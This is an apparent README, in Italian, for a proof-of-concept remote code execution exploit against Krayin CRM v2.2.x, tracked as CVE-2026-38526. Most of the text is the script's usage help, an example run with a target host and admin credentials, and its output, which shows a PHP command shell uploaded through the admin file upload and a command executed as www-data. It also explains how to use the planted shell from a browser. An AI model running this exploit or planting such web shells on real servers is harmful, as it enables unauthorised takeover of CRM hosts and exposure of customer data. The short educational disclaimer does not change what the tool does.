
CVE-2026-38526 Exploit | di infrar3d
xpl0ited by infrar3d
Questo è un proof-of-concept di Remote Code Execution (RCE) specificamente progettato per Krayin CRM v2.2.x, un sistema di gestione delle relazioni con i clienti open-source. Lo script automatizza lo sfruttamento di una vulnerabilità di upload di file nell'interfaccia amministrativa del CRM per ottenere l'esecuzione remota di comandi sul server target.
python3 CVE-2026-38526.py --help
usage: CVE-2026-38526.py [-h] -rh RHOST -u USERNAME -p PASSWORD -c COMMAND
Krayin CRM RCE Exploit
options:
-h, --help show this help message and exit
-rh, --rhost RHOST Remote host
-u, --username USERNAME
Username or E-mail
-p, --password PASSWORD
Password
-c, --command COMMAND
Command to execute
python3 CVE-2026-38526.py -rh http://krayin.endpoint.site -u '[email protected]' -p 's3cur3-p4ss' -c 'id'
[*] Getting login page...
[+] CSRF Token: 3b438w26pvvr2rhWToWURhAhyGPdeWZm6DRShdUd
[*] Attempting login as: [email protected]...
[+] Redirect: http://krayin.endpoint.site/admin/dashboard
[+] Login successful!
[+] Session established successfully
[+] XSRF Token: eyJpdiI6ImVDY3h5c2dRdk5JS1NXaVdJaDJGdVE9PSIsInZhbH...
[*] Getting fresh CSRF token for upload...
[+] Found _token in modal
[+] Upload CSRF Token: ZQwH7QLajl5wZdNAOSX8Sk0v7z9spW1VYrw4VESW
[*] Uploading shell...
[+] Upload response status: 200
[+] File uploaded successfully!
[+] Location: http://krayin.endpoint.site/storage/tinymce/a9e2d9a51d41723acad27dc2c7ec861d.php
[*] Executing command: id
[+] Command output:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
Questo script carica una shell PHP cmd da revshells.com per impostazione predefinita.
Dopo lo sfruttamento, puoi aprirla nel tuo browser e inviare comandi dalla pagina web.
Questo software e il codice proof-of-concept sono forniti solo per scopi educativi e di ricerca.
Sei responsabile del rispetto di tutte le leggi applicabili. Usalo in modo etico e responsabile.